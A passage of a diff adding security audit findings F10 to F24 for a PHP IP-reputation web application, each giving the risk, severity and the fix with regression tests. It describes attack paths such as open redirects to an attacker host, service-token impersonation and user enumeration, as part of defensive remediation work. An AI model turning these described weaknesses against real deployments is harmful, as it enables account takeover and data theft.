+  `consumeNext`), used by `ui/src/Auth/OidcController.php:98-100`,
+  `ui/src/Auth/LocalLoginController.php:106-108`,
+  `ui/src/Controllers/AllowlistController.php:126-128`,
+  `ui/src/Controllers/ManualBlocksController.php:168-170`
+- **Risk:** After a delete action, `next` from the form body is sent
+  verbatim as `Location:` with no validation that the value starts with
+  a single `/` (not `//evil.example.com`) and no scheme allowlist. An
+  authenticated operator/admin tricked into submitting a forged form
+  (or any reflected XSS that auto-submits with the legitimate CSRF
+  token) gets a 303 redirect to an arbitrary host from the trusted
+  IRDB origin — high-quality phishing pivot. The login-flow
+  `consumeNext()` path is currently safe (`AuthRequiredMiddleware`
+  controls the source), but `setNext()` itself is unrestricted.
+- **Severity: 2**
+- **Status:** Fixed in `55156c5`. `SessionManager::isSafeRedirectPath()`
+  accepts only same-origin paths (must start with `/`; second char must
+  not be `/` or `\`; no control chars including CR/LF/NUL).
+  `SessionManager::safeNextOrDefault()` returns the candidate iff safe,
+  else a hard-coded literal default. `setNext()` and `consumeNext()` also
+  drop unsafe values silently as defence-in-depth so any future caller
+  is safe even without the helper. `AllowlistController::delete` and
+  `ManualBlocksController::delete` now route the `next` form field
+  through `safeNextOrDefault`, so a malicious value falls back to the
+  resource list rather than redirecting the operator to the attacker
+  URL. Regression tests: `SessionManagerTest` data-provider truth table
+  for `isSafeRedirectPath` plus `testSetNextDropsUnsafeValueSilently`,
+  `testConsumeNextRejectsPreviouslyStoredUnsafeValue`,
+  `testSafeNextOrDefaultUsesDefaultOnUnsafeOrMissing`; integration
+  tests in `CrudPagesTest`
+  (`testManualBlockDeleteRejectsOpenRedirectInNext`,
+  `testManualBlockDeleteHonoursSafeNext`,
+  `testAllowlistDeleteRejectsOpenRedirectInNext`).
+
+### F11 — Service-token impersonation accepts any user id with no allow-list, no active-status gate
+- **Files:** `api/src/Infrastructure/Http/Middleware/ImpersonationMiddleware.php:38-77`,
+  `api/src/Infrastructure/Auth/UserRepository.php:28-37`
+- **Risk:** Service-token holders can impersonate any user id by
+  setting `X-Acting-User-Id`. There is no allow-list, no
+  "disabled"/"locked" check (no such column on `users`), and no
+  separate audit signal. Combined with F3, a leaked service token is
+  unconstrained Admin.
+- **Severity: 2**
+- **Status:** Fixed. Three layers:
+  1. **Active-status gate.** Migration
+     `20260504110000_add_disabled_at_to_users` adds nullable
+     `disabled_at` to `users`; `User::isDisabled()` exposes the
+     predicate; `ImpersonationMiddleware` returns `403 user_disabled`
+     for any disabled target (mirroring the unknown-user 403 so
+     attackers cannot use the response to distinguish "missing" from
+     "disabled"). `AuthController::upsertOidc` and `upsertLocal`
+     short-circuit with 403 before recomputing role on a disabled row,
+     so a disabled user cannot drift their role via OIDC group
+     membership while disabled.
+  2. **Distinct audit signal.** Migration
+     `20260504110001_add_actor_via_to_audit_log` adds `actor_via`
+     (`oidc|local|admin-token|service|reporter|consumer|system`).
+     `ImpersonationMiddleware` threads the resolved user's
+     `is_local` flag onto `AuthenticatedPrincipal`, and
+     `AuditContextMiddleware` derives `actor_via` from it — so
+     audit rows split impersonated-OIDC from impersonated-local
+     without joining `users`. `/admin/audit-log?actor_via=local`
+     surfaces only local-admin actions for review.
+  3. **Admin user-CRUD.** New `UsersController` exposes
+     `GET /api/v1/admin/users`, `GET /{id}`, and
+     `PATCH /{id}` (body `{disabled: bool}`). PATCH wraps the
+     state change + `user.disabled` / `user.enabled` audit emit in
+     `Connection::transactional()` per F4. Refused with 409 on
+     self-disable (`cannot_disable_self`) or on disabling the
+     local-admin row (`cannot_disable_local_admin`) — the local
+     admin is the documented break-glass path; operators wanting
+     to lock it disable it via `LOCAL_ADMIN_PASSWORD_HASH` in the
+     UI's env. UI page at `/app/users` (admin-only sidebar entry).
+     OIDC and local-login controllers route the upstream
+     `403 user_disabled` to `/no-access` (OIDC) or to a generic
+     "invalid credentials" flash (local — probe-resistant).
+  Regression tests: `api/tests/Integration/Auth/DisabledUserTest.php`
+  covers (a) impersonation 403 on disabled rows,
+  (b) `upsertOidc` rejection without role recompute or audit drift,
+  (c) `upsertLocal` rejection on disabled local admin,
+  (d) `actor_via` derivation for impersonated local vs OIDC
+  vs admin-token paths,
+  (e) admin disable + audit emit + idempotency,
+  (f) self-disable / local-admin-disable 409 guards,
+  (g) `/audit-log?actor_via=local` filter.
+  The remaining "allow-list" framing of F11 is by-design per SPEC §8:
+  any user the UI BFF has upserted is impersonatable. The disabled
+  flag is the operator's lever to revoke that consent.
+
+### F12 — Local-admin lookup matches on `display_name` without uniqueness guarantee
+- **Files:** `api/src/Infrastructure/Auth/UserRepository.php:50-60, 119-160`
+- **Risk:** `findLocalByUsername()` matches on `display_name` AND
+  `is_local=1`, with no DB-enforced uniqueness on the pair.
+  `LIMIT 1` silently picks one row. A hostile/compromised IdP that
+  pushes an OIDC user with the same `display_name` (and a later data
+  fix flipping `is_local`) could be matched on local-admin login,
+  binding the local-admin password to the wrong identity.
+- **Severity: 2**
+- **Status:** Fixed in `4006743`. The display-name match was already
+  removed by the F3 fix (`8a94dff`) — `findLocal()` looks up by
+  `is_local = 1` and the partial unique index `uniq_users_one_local`
+  enforces "at most one local row" at the DB. F12's residual concern
+  (a row reaching the state `is_local=1 AND subject IS NOT NULL` via
+  direct DB tampering) is now addressed in two layers:
+  1. **Application:** `UserRepository::findLocal()` adds
+     `AND subject IS NULL` to the query. A row with `is_local=1` but a
+     non-null OIDC subject is structurally not a local-admin row and
+     will not bind the local-admin password — `upsertLocal` then
+     trips the unique-index INSERT, surfacing the tamper as a 500.
+  2. **DB:** Migration
+     `20260505100000_add_users_local_subject_invariant` enforces the
+     same predicate at the storage layer — MySQL via a `CHECK
+     (NOT (is_local = 1 AND subject IS NOT NULL))` constraint, SQLite
+     via paired `BEFORE INSERT` / `BEFORE UPDATE` triggers that
+     `RAISE(ABORT)` on the violating predicate. So a "data fix"
+     script attempting `UPDATE users SET is_local = 1 WHERE id = …`
+     against an OIDC row fails at the DB before any login can bind.
+  Regression tests in `api/tests/Integration/Auth/AuthEndpointsTest.php`
+  (`testDbLayerRejectsInsertingLocalRowWithNonNullSubject`,
+  `testDbLayerRejectsFlippingIsLocalOnOidcRow`,
+  `testFindLocalIgnoresHijackedRowEvenIfDbConstraintIsBypassed`).
+
+### F13 — Service token rotation leaves the old hash valid indefinitely
+- **File:** `api/src/Infrastructure/Auth/ServiceTokenBootstrap.php:65-89`
+- **Risk:** When the bootstrap detects a different service-kind row
+  (rotation in progress), it inserts the new row but does not revoke
+  the old. Both tokens remain valid. With no operator tooling for
+  service-token revocation, rotated tokens may live forever in
+  `api_tokens`. If an old token leaks (config snapshot, image layer)
+  the attacker authenticates indefinitely.
+- **Severity: 2**
+- **Status:** Fixed in `40be6c1`. `ServiceTokenBootstrap` now wraps
+  revoke-old + insert-new in `Connection::transactional()` (per F4): when the
+  configured `UI_SERVICE_TOKEN` does not match any current row but
+  one or more service-kind rows are currently active, every active
+  service-kind row is `revoked_at = now()`'d before the new row is
+  inserted. The revokes and the create roll back together if any
+  step fails — there is never an observable window with no service
+  token. New repository method
+  `TokenRepository::findActiveServiceTokens()` enumerates the rows
+  to revoke. The bootstrap also refuses to silently re-enable a
+  hash that is already present-but-revoked (operator must issue a
+  fresh value rather than rolling env back). Each revoke emits a
+  `token.revoked` audit row with
+  `details_json.reason = "rotated_by_bootstrap"` and the create
+  emits a `token.created` row carrying `source: "bootstrap"` and a
+  `rotated_from` array of revoked prefixes — so SOC tooling can
+  attribute the rotation and split automatic from operator-initiated
+  revocations. Both audit rows are attributed to `actor_kind=system`
+  via `AuditContext::system()`. Regression tests in
+  `api/tests/Integration/Auth/ServiceTokenBootstrapTest.php`
+  (`testBootstrapWithDifferentTokenRevokesPreviousAndInsertsNewRow`,
+  `testBootstrapRotationRevokesEveryPreviouslyActiveServiceToken`,
+  `testBootstrapRotationEmitsRevokedAndCreatedAuditRows`,
+  `testBootstrapRefusesToReEnablePreviouslyRevokedToken`).
+
+### F14 — `/api/v1/auth/*` has no rate limit
+- **File:** `api/src/App/AppFactory.php:156-169`
+- **Risk:** The auth group has only `$tokenAuth`. `RateLimitMiddleware`
+  is not attached. `getUser/{id}` allows enumeration (F17), and
+  combined with F3 a leaked service token gets unlimited writes.
+- **Severity: 2**
+- **Status:** Fixed in `9849779`. The `/api/v1/auth/*` route group now
+  attaches `RateLimitMiddleware` alongside `TokenAuthenticationMiddleware` and
+  `AuditContextMiddleware`. Per-token-id token-bucket — same limiter
+  the public group uses — caps a burst at `API_RATE_LIMIT_PER_SECOND
+  × 2` (default 60/s, capacity 120) per service token. The bucket
+  bails out gracefully when no principal is present (auth failure)
+  so it doesn't stack with `TokenAuthenticationMiddleware`'s 401
+  path. Caps the enumeration speed of `GET /users/{id}` (a residual
+  exposure tracked by F17), and bounds amplification of any
+  service-token-leak abuse against `upsert-local` / `upsert-oidc`.
+  Regression tests in
+  `api/tests/Integration/Public/RateLimitTest.php`
+  (`testAuthGetUserRouteIsRateLimited`,
+  `testAuthUpsertLocalRouteIsRateLimited`) burst the auth endpoints
+  past capacity under a tight FixedClock+limiter and assert the
+  expected 429 ceiling.
+
+### F15 — `MaintenanceController::seedDemo` requires no confirmation token
+- **File:** `api/src/Application/Admin/MaintenanceController.php:279-288`
+- **Risk:** Asymmetric with `purge` which gates on `confirm: "PURGE"`.
+  Any actor with admin role (or a compromised service token via F3)
+  can issue a single POST and load thousands of synthetic
+  reports/IPs/blocks into a production database. The 409
+  "already_seeded" check is keyed only on a literal demo-named
+  reporter, so after a partial purge the seed will re-fire. Also a
+  cheap repeated-write DoS.
+- **Severity: 2**
+- **Status:** Fixed in `5c15fc5`. `MaintenanceController::seedDemo`
+  now requires `confirm: "SEED"` in the request body and returns
+  `400 validation_failed` otherwise — symmetric with `purge`'s
+  `"PURGE"` gate. The check runs before the 409 already-seeded
+  shortcut and before any DB write, so a drive-by POST or repeated
+  cost-imposition burst is rejected without touching `reporters`.
+  The OpenAPI spec (`api/public/openapi.yaml` and `api/openapi.php`)
+  documents the new request body and the 400 response. The UI BFF
+  is updated end-to-end: `AdminClient::seedDemo` sends
+  `confirm: "SEED"` (`ui/src/ApiClient/AdminClient.php`),
+  `SettingsController::seedDemo` requires the user to type `SEED`
+  in the form and surfaces a flash error otherwise
+  (`ui/src/Controllers/SettingsController.php`), and the seed-demo
+  modal mirrors the purge modal's typed-confirm UX in
+  `ui/resources/views/pages/settings/index.twig`. Regression test
+  `testSeedDemoRequiresLiteralConfirmString` in
+  `api/tests/Integration/Admin/MaintenanceControllerTest.php`
+  asserts both no-body and wrong-literal POSTs return 400 and that
+  no `reporters`/`reports` rows landed; the existing
+  `testSeedDemoPopulatesDataAndIsIdempotent` /
+  `testSeedDemoForbiddenForViewer` cases were updated to send the
+  new body.
+
+### F16 — Admin-role API tokens are not bound to a `user_id` → privilege persists after offboarding
+- **Files:** `api/src/Application/Admin/TokensController.php:142-155, 166-177`,
+  `api/src/Infrastructure/Http/Middleware/TokenAuthenticationMiddleware.php:67`,
+  `api/src/Infrastructure/Http/Middleware/RbacMiddleware.php:51-59`
+- **Risk:** When an Admin user creates an admin-kind token, the
+  `TokenRecord` carries `role` but no `userId`. If the user issuing
+  the token is later demoted/disabled/removed, the token continues
+  to grant Admin until manually revoked. There is no UI/API to list
+  tokens by issuer.
+- **Severity: 2**
+- **Status:** Fixed in `947ab89`. Three layers close the gap:
+
+  1. **Schema.** Migration
+     `20260505110000_add_user_id_to_api_tokens` adds nullable
+     `api_tokens.user_id`. On MySQL it carries an FK to `users(id)`
+     with `ON DELETE CASCADE` — a hard-deleted user takes the tokens
+     they issued with them. SET NULL was rejected because reverting
+     to a NULL `user_id` would let the token re-enter the
+     grandfathered legacy path. SQLite cannot add an FK via ALTER
+     TABLE, so deletion-time enforcement on that driver falls back
+     to the application layer (issuer-row lookup returns null →
+     401). The system has no API-level user-deletion path; both
+     drivers behave identically for the actual offboarding flows
+     (disable + role demote).
+  2. **Binding.** `TokensController::create` writes the acting
+     user's id into the new column for `kind=admin` tokens only.
+     Reporter / consumer / service tokens stay user-less — they are
+     device credentials, not delegated user privilege.
+     `TokenRecord` carries the new `userId` field; the create
+     response and list response surface `user_id`, the list also
+     denormalises a `user_label` (display name, email, or `user#N`).
+     Admin tokens minted via `bin/console tokens:create` carry NULL
+     and are grandfathered — operators rotate those after deploy if
+     they want strict binding.
+  3. **Enforcement.** `TokenAuthenticationMiddleware` injects
+     `UserRepository`; for any admin-kind token with non-null
+     `user_id` it loads the issuer and refuses the token (401, same
+     shape as every other auth failure) if the issuer row is
+     missing, has `disabled_at` set, or has a current role that
+     doesn't satisfy the token's bound role
+     (`role.satisfies(token.role)`). NULL `user_id` skips the
+     check, preserving the grandfathered path. ImpersonationMiddleware
+     still validates the impersonated user separately (F11), so a
+     service token that claims to be a disabled user is still 403'd
+     before the role check fires.
+
+  UI: `/app/tokens` adds an Issuer column showing `user_label` (or
+  `user#N` for deleted issuers, or `—` for legacy / console-issued
+  tokens). OpenAPI yaml + `openapi.php` document the new fields.
+
+  Regression tests in
+  `api/tests/Integration/Auth/TokenIssuerBindingTest.php`:
+  `testAdminTokenCreatedViaApiIsBoundToActingAdmin` (binding +
+  audit row attribution),
+  `testReporterTokenCreatedViaApiIsNotBoundToUser` (admin-only
+  binding), `testListSurfacesIssuerLabel` (denormalised label),
+  `testBoundAdminTokenAuthenticatesWhileIssuerActive` (happy path),
+  `testBoundAdminTokenIsRejectedAfterIssuerDisabled` (F11
+  intersect),
+  `testBoundAdminTokenIsRejectedAfterIssuerDemotedBelowTokenRole`
+  (Admin-token-after-Viewer-demote → 401),
+  `testBoundAdminTokenStillAuthenticatesIfIssuerHasMatchingRole`
+  (Viewer token held by Admin issuer still works),
+  `testBoundAdminTokenIsRejectedIfIssuerRowIsGone` (deletion
+  fallback on SQLite),
+  `testLegacyUnboundAdminTokenStillAuthenticates` (grandfathering).
+
+### F17 — `GET /api/v1/auth/users/{id}` enables enumeration of internal user records
+- **File:** `api/src/Application/Auth/AuthController.php:79-104`
+- **Risk:** A service-token holder can iterate `/users/1`,
+  `/users/2`, ... and exfiltrate every user's `email`, `display_name`,
+  `role`, `is_local`. No rate limit (F14), no audit (F5), no
+  defensive sleep.
+- **Severity: 2**
+- **Status:** Fixed by F14 (rate limit) and read-side audit added in
+  `57ab1ba`.
+
+  1. **Rate limit.** F14 already attaches `RateLimitMiddleware` to
+     the `/api/v1/auth/*` route group, so a leaked service token is
+     capped at `API_RATE_LIMIT_PER_SECOND × 2` (default 60/s,
+     capacity 120) per token id — both `getUser/{id}` enumeration and
+     `upsert-{oidc,local}` abuse are bucketed on the same limiter.
+
+  2. **Read-side audit.** New `AuditAction::USER_FETCHED` constant
+     (`user.fetched`). `AuthController::getUser` now emits a
+     best-effort audit row on **both** the 200 (`outcome: found`,
+     `target_label = email|display_name`) and 404
+     (`outcome: not_found`, `target_label = null`) paths. The 400
+     malformed-id path stays silent — that's a protocol error, not a
+     valid-shape probe. `emit()` (best-effort) is used so a DB hiccup
+     on the audit insert does not 500 a UI session refresh; volume is
+     bounded by the F14 rate limit anyway. This is the only read
+     action recorded in `audit_log` — every other action recorded
+     there is state-changing per SPEC §4. The exception is documented
+     inline at the constant.
+
+  3. **No defensive sleep.** Skipped intentionally. The 200/404 bodies
+     differ structurally (`{"user_id": ...}` vs
+     `{"error":"not_found"}`), so existence is trivially detectable
+     from the response — timing is not the leak vector here. Adding
+     `usleep` would only impose latency on legitimate UI session
+     refreshes without strengthening the actual mitigation surface.
+
+  Regression tests in
+  `api/tests/Integration/Auth/AuthEndpointsTest.php`:
+  `testGetUserFoundEmitsUserFetchedAudit` (200 path emits row with
+  `outcome=found` and email label),
+  `testGetUserNotFoundEmitsUserFetchedAudit` (404 path emits row with
+  `outcome=not_found` and null label),
+  `testGetUserInvalidIdDoesNotEmitAudit` (malformed id stays silent),
+  `testEnumerationProducesOneAuditRowPerProbe` (a 5-id sweep produces
+  exactly 5 `user.fetched` rows — the SOC detection signal).
+  OpenAPI yaml + `openapi.php` document the audit emission and the
+  404 response.
+
+### F18 — Containers run as root (no `USER` directive)
+- **Files:** `api/Dockerfile:42-43`, `ui/Dockerfile:46-47`
+- **Risk:** Neither Dockerfile sets a `USER`. PHP/FrankenPHP/Caddy run
+  as UID 0. Any RCE in PHP code, dependency CVE, or FrankenPHP/Caddy
+  CVE gets root inside the container. No `--chown` on `COPY`. The
+  `irdb-data:/data` volume is owned by root.
+- **Severity: 2**
+- **Status:** Fixed in `33179d8`. Both `api/Dockerfile` and
+  `ui/Dockerfile` now create an `app` system user (UID/GID 1000) and
+  switch to it via `USER app` after the last root-required step
+  (`apk`, `install-php-extensions`, `chmod +x`, `mkdir`/`chown`).
+  FrankenPHP/Caddy bind to unprivileged ports (8080/8081) — no
+  `setcap` is needed.
+
+  Layout choices:
+  - `/app` stays **root-owned and world-readable**. The runtime needs
+    only read access; leaving source root-owned is a partial mitigation
+    for F20 (an attacker landing RCE under `app` cannot overwrite
+    `/app/vendor/**` or `/app/public/index.php` to persist). Tightening
+    the read-only stance further (e.g. mounting `/app` read-only at
+    runtime) is tracked separately by F20.
+  - `/data` is **app-owned** so phinx migrations, the
+    `auth:bootstrap-service-token` console call, and runtime SQLite
+    writes succeed without root. Newly-created Docker named volumes
+    (`irdb-data`) inherit this ownership on first creation.
+  - `/home/app/.config` and `/home/app/.local/share` are pre-created
+    and app-owned; `XDG_CONFIG_HOME` / `XDG_DATA_HOME` point at them
+    so Caddy's autosaved-config and TLS-cache state has somewhere to
+    land without falling back to `/root`.
+  - PHP sessions in the UI continue to use the default `/tmp` save
+    path (world-writable), so no extra mount is required.
+
+  **Upgrade note for operators.** Existing volumes from pre-F18
+  deployments were created when `/data` was root-owned; after pulling
+  this image the new uid=1000 process cannot write to them and phinx
+  fails with `attempt to write a readonly database`. Recover with
+  either of:
+  ```
+  # one-shot chown (preserves data)
+  docker run --rm -u 0 -v irdb_irdb-data:/data alpine chown -R 1000:1000 /data
+  # or, if the SQLite data is disposable
+  docker compose down -v && docker compose up -d
+  ```
+  Documented in the upgrade section of the deployment notes.
+
+  Verification: rebuilt both images and confirmed
+  `docker compose exec api id` / `exec ui id` report `uid=1000(app)`,
+  the api healthz returns 200, all 429 integration tests still pass
+  under the new user, and the UI Caddy log shows
+  `serving initial configuration` with TLS storage at
+  `/home/app/.local/share/caddy`.
+
+### F19 — No `.dockerignore` — host artifacts baked into images
+- **Files:** build context roots `api/`, `ui/`; `COPY . ./` lines
+  `api/Dockerfile:31`, `ui/Dockerfile:37`
+- **Risk:** No `.dockerignore` ships in either subproject. `tests/`,
+  `db/migrations/`, `bin/console`, `.phpstan.cache/`,
+  `.phpunit.cache/`, `node_modules/` (UI), `composer.lock` are baked
+  into the image. The repo-root `.env` is outside the build context
+  by happenstance — any future developer who drops `.env`,
+  `.env.local`, or a fixture into `api/` or `ui/` will silently bake
+  it into the published image. Test fixtures and `bin/console` are
+  also available to any future LFI / arbitrary-file-read primitive.
+- **Severity: 2**
+- **Status:** Fixed in `96eaa10`. `api/.dockerignore` and
+  `ui/.dockerignore` now apply to both build contexts and explicitly
+  exclude:
+
+  - `.env` / `.env.*` — the central F19 concern. Compose loads `.env`
+    from the repo root (outside both build contexts), so nothing here
+    is needed at runtime; blocking the pattern outright keeps any
+    future stray secret file from shipping in the image.
+  - `tests/` — fixtures and integration scaffolding that doubles as
+    LFI surface area.
+  - Dev-tooling caches and configs: `.phpunit.cache/`,
+    `.phpunit.result.cache`, `.phpstan.cache/`, `.php-cs-fixer.cache`,
+    `.php-cs-fixer.dist.php`, `phpstan.neon`, `phpunit.xml`.
+  - VCS / editor noise: `.git`, `.gitignore`, `.gitattributes`,
+    `.idea/`, `.vscode/`, `*.swp`, `*~`, `.DS_Store`.
+  - `CHANGELOG.md`, `Dockerfile`, `.dockerignore`, `.claude/`.
+  - `vendor/` (both subprojects) and `node_modules/` (ui) — the
+    multi-stage builds install clean copies in the `deps`/`assets`
+    stages and pull them in via `COPY --from=...`. Excluding the
+    host copies also fixes a subtle bug: in
+    `api/Dockerfile:30-31` and `ui/Dockerfile:36-37`, the
+    `COPY --from=deps /app/vendor ./vendor` line is followed
+    immediately by `COPY . ./`, which would have clobbered the
+    deps-stage vendor with whatever the host had (typically a
+    `composer install`-with-dev tree).
+
+  Things that ARE needed at runtime stay in the context: `src/`,
+  `public/`, `config/`, `docker/`, `composer.json`, `composer.lock`;
+  api also keeps `db/migrations/`, `db/seeds/`, `bin/console`, and
+  `openapi.php`; ui also keeps `resources/` (Twig views are loaded
+  at runtime, and `resources/css|js/` are consumed by the assets
+  stage). The ui `package.json`, `package-lock.json`,
+  `tailwind.config.js`, and `postcss.config.js` are kept because the
+  assets stage references them by name — `.dockerignore` applies to
+  every stage that shares the same context, so excluding them would
+  break `npx tailwindcss` / `npx esbuild`. They are tiny and
+  non-sensitive.
+
+  `bin/console` (api) is intentionally retained — `entrypoint.sh`
+  invokes `php bin/console auth:bootstrap-service-token` on every
+  api start, and `phinx migrate` plus the seeders run from the
+  `migrate` mode. Removing them would break startup; the LFI-surface
+  concern is mitigated by F18 (image runs as uid 1000, source tree
+  is root-owned and read-only to the runtime user) and tracked
+  further by F20.
+
+  Verification: rebuilt both images; confirmed the excluded paths
+  (tests, dev caches, `.dockerignore`, `Dockerfile`, `.git`, ui
+  `node_modules`) are absent from `/app/` in the final images and
+  the runtime-required paths (`src`, `public`, `config`,
+  `db/migrations`, `db/seeds`, `bin/console`, `vendor`, `docker`,
+  `openapi.php`, ui `resources/views`, ui
+  `public/assets/{app.css,app.js,logo.svg}`) are present. api
+  phpunit is 429/430 — the lone failure is the timing-sensitive
+  `BlocklistPerfTest::test50kEntriesUnder500Ms` perf-budget
+  assertion (628 ms vs 500 ms budget), unrelated to this change. ui
+  phpunit is 134/134.
+
+### F20 — Application source is writable by the process serving requests
+- **Files:** `api/Dockerfile:36-38`, `ui/Dockerfile:42`
+- **Risk:** Combined with F18, any RCE-grade bug allows the attacker
+  to overwrite PHP source files in `/app` (vendor, src,
+  `public/index.php`) and persist via the next request. A `USER`
+  directive plus stricter perms (read-only `/app`, writable only
+  `/data`) blocks this persistence path.
+- **Severity: 2**
+- **Status:** Fixed in `1ec9d04`. F18 already made `/app`
+  root-owned so the unprivileged `app` user cannot write to it
+  through standard ownership/perm checks. F20 layers on a
+  kernel-level read-only rootfs at runtime so the same protection
+  holds even against a primitive that bypasses uid checks (e.g.
+  capability escalation, or a future regression that flips
+  ownership). All three services in `docker-compose.yml` now carry:
+
+  ```
+  read_only: true
+  tmpfs:
+    - /tmp:uid=1000,gid=1000,mode=1777
+    - /home/app/.config:uid=1000,gid=1000,mode=0700
+    - /home/app/.local/share:uid=1000,gid=1000,mode=0700
+  ```
+
+  Writable paths are restricted to:
+  - `/data` (api + migrate) — the existing `irdb-data` named
+    volume; holds the SQLite database, phinxlog table, geoip mmdb
+    files, the bootstrapped service token row, and any other future
+    persistent state.
+  - `/tmp` — PHP scratch and session files. World-writable
+    (`mode=1777`) to match Linux convention; PHP sessions in the ui
+    rely on this default save_path.
+  - `/home/app/.config` and `/home/app/.local/share` — XDG dirs
+    where Caddy/FrankenPHP write their `autosave.json` and
+    (unused-here) TLS storage. Owned by uid=1000 with `mode=0700`
+    so only the runtime user can read them.
+
+  Verification: brought the stack up clean (`docker compose up -d`)
+  with a synthetic `.env`. Phinx ran all 22 migrations; both api
+  and ui reached `healthy`; both `/healthz` endpoints returned 200.
+  Inside each container, `touch` against `/app`, `/app/src`,
+  `/app/vendor`, `/app/public/index.php` returned
+  `Read-only file system`, while `/tmp`, `/home/app/.config`,
+  `/home/app/.local/share`, and `/data` (api only) accepted writes
+  as uid=1000.
+
+  Operator note: when adding a new writable path to the runtime
+  (e.g. a cache dir, a queue spool, an upload staging area),
+  declare it as either a named volume or a tmpfs in compose —
+  writes anywhere else now fail with EROFS. F22 (scheduler) is
+  scoped separately; this commit does not change `compose.scheduler.yml`.
+
+### F21 — `getTraceAsString` logged in production may leak plaintext credentials
+- **Files:** `api/src/Infrastructure/Http/JsonErrorHandler.php:48`,
+  `api/src/Infrastructure/Jobs/JobRunner.php:91`
+- **Risk:** PHP's stringified backtrace inlines scalar arguments to
+  each frame. An exception thrown from inside `password_verify`, a
+  Guzzle request setter, or any function called with a token/password
+  as an argument writes the *plaintext* secret into the trace.
+  `SecretScrubbingProcessor` matches Argon2/bcrypt hashes and
+  `irdb_*` token shapes but does not match arbitrary plaintext
+  passwords or generic OIDC `client_secret` values, so password-spray
+  and OIDC misconfig errors leak via stdout logs.
+- **Severity: 2**
+- **Status:** Fixed. Both call sites now route through
+  `App\Infrastructure\Logging\SafeTrace::format()`, which walks
+  `Throwable::getTrace()` (and the `getPrevious()` chain) and renders
+  one frame per line as `#N file(line): Class::method()` — the
+  `args` element is dropped entirely, so no scalar argument can ever
+  reach a log record regardless of the secret-scrubber's pattern
+  list. `JsonErrorHandler` and `JobRunner` no longer call
+  `getTraceAsString()`. Regression test in
+  `api/tests/Unit/Logging/SafeTraceTest.php` covers single-frame
+  arg suppression, `Caused by` chain walking, and the rendered frame
+  layout.
+
+### F22 — `compose.scheduler.yml` runs `apk add` at every container start
+- **File:** `compose.scheduler.yml:3-8`
+- **Risk:** `image: alpine:3` (no digest, no minor pin) plus
+  `apk add --no-cache curl tini` at runtime means each restart pulls
+  whatever Alpine ships that minute. A compromise of the Alpine
+  package mirror (or typosquatting) gets root in the scheduler
+  container, which holds `INTERNAL_JOB_TOKEN` and can call
+  `/internal/jobs/*`. Pin the base image digest and the apk versions
+  or build a real image.
+- **Severity: 2**
+- **Status:** Fixed. Replaced the inline `image: alpine:3` + runtime
+  `apk add` with a real build context at `scheduler/`. The new
+  `scheduler/Dockerfile` pins `FROM alpine:3.21@sha256:48b0309c…`
+  and installs `curl=8.14.1-r2`, `tini=0.19.0-r3`,
+  `ca-certificates=20260413-r0` at build time; restarts now reuse
+  the locally-built image with no network fetch. The crontab
+  (`scheduler/scheduler.crontab`) is baked into the image, which
+  also removes the previously dangling `./docker/scheduler.crontab`
+  bind-mount path. The compose service runs `read_only: true` with
+  `no-new-privileges:true` and only `/run` + `/tmp` tmpfs mounts;
+  `cap_drop: [ALL]` was tested and rejected because busybox crond
+  calls `initgroups()` before each fork and dies with
+  "can't set groups" without `CAP_SETGID`. Verified end-to-end:
+  `docker compose -f docker-compose.yml -f compose.scheduler.yml
+  up -d` brings the sidecar up healthy and within one minute the
+  api responds `{"job":"tick","status":"success",...}` to the
+  scheduled curl.
+
+### F23 — `jumbojett/openid-connect-php ^1.x` constraint pins a major with historical CVEs
+- **File:** `ui/composer.json:19`
+- **Risk:** The `^1.0` constraint covers a major line that has had
+  multiple advisories (e.g. GHSA-jq3w-9mgf-43m4 / CVE-2024-21489 in
+  v0.x/early-v1; an iss-confusion advisory in v1.x prior to 1.0.2).
+  Given this library is the sole OIDC token-validation entry point,
+  drift here is critical. Tighten to `^1.0.2 || ^2.0` after testing
+  and run `composer audit` regularly.
+- **Severity: 2**
+- **Status:** Fixed in `f66ceaf`. `ui/composer.json` now requires
+  `jumbojett/openid-connect-php: "^1.0.2 || ^2.0"`, excluding the
+  pre-1.0.2 versions that carry the iss-confusion advisory while still
+  permitting an upgrade path to a future v2.x line. The `composer.lock`
+  was regenerated against the new constraint (still resolves to v1.0.2,
+  the latest published release) and `ui` regression tests pass
+  unchanged. The "run `composer audit` regularly" half of the
+  recommendation was already in place: `scripts/ci.sh` invokes
+  `composer audit --no-dev` for both `api` and `ui` on every CI run
+  (lines 84-85 and 109-110), so any future advisory against the locked
+  version fails the build.
+
+### F24 — UI CSP allows `script-src 'unsafe-inline' 'unsafe-eval'`
+- **File:** `ui/docker/Caddyfile:33`
+- **Risk:** `'unsafe-inline'` permits inline `<script>` blocks AND
+  inline event handlers (`x-on:click`, `onclick`). Any stored or
+  reflected XSS sink elsewhere in the app executes unimpeded. The
+  trade-off is documented (Alpine.js v3 `Function()` evaluator), but
+  CSP is here a defence-in-depth string only — XSS is fully
+  exploitable without strict CSP. Migrating to nonces or hashed
+  scripts and packaging Alpine-with-CSP-build would close the gap.
+- **Severity: 2**
+- **Status:** Fixed. `script-src` is now `'self' 'nonce-…'` only —
+  `'unsafe-inline'` and `'unsafe-eval'` are gone. Two changes close it:
+  1. **Per-request CSP nonce.** `App\Http\CspMiddleware` mints a 16-byte
+     URL-safe nonce per request, exposes it on the request attribute and
+     as the Twig `csp_nonce` global, and stamps a fresh
+     `Content-Security-Policy: …; script-src 'self' 'nonce-…'; …` header
+     on the response. The static CSP block is removed from
+     `ui/docker/Caddyfile` because the nonce changes per response and
+     Caddy can't see that. The only inline `<script>` left in the
+     codebase — the FOUC dark-mode preloader in
+     `ui/resources/views/layout.twig` — carries `nonce="{{ csp_nonce }}"`.
+  2. **Alpine.js CSP build.** Switched `ui/package.json` from `alpinejs`
+     to `@alpinejs/csp`, which never calls `Function()` and so does not
+     need `'unsafe-eval'`. The CSP build forbids inline expressions in
+     `x-data` / `x-on:` / `x-show` / `x-bind`, so every component lives
+     in `ui/resources/js/app.js` registered via `Alpine.data(name, …)`
+     (toggle, rowExpander, kindSwitcher, submitGuard, dangerousAction,
+     loginForm, decayPreview, policyPreview, policyScoreDistribution,
+     scoreOverTime, rawTokenCopy). Initial values are read from
+     `data-*` attributes on the root element, not interpolated into
+     attribute expressions. The audit-page datetime-local helper and
+     three previously per-page inline `<script>` blocks (categories,
+     ips/detail, policies) are inlined into `app.js`.
+  Regression tests:
+  - `ui/tests/Unit/Http/CspMiddlewareTest.php` covers nonce uniqueness,
+    URL-safe alphabet, the `script-src` + `frame-ancestors` shape, and
+    middleware integration.
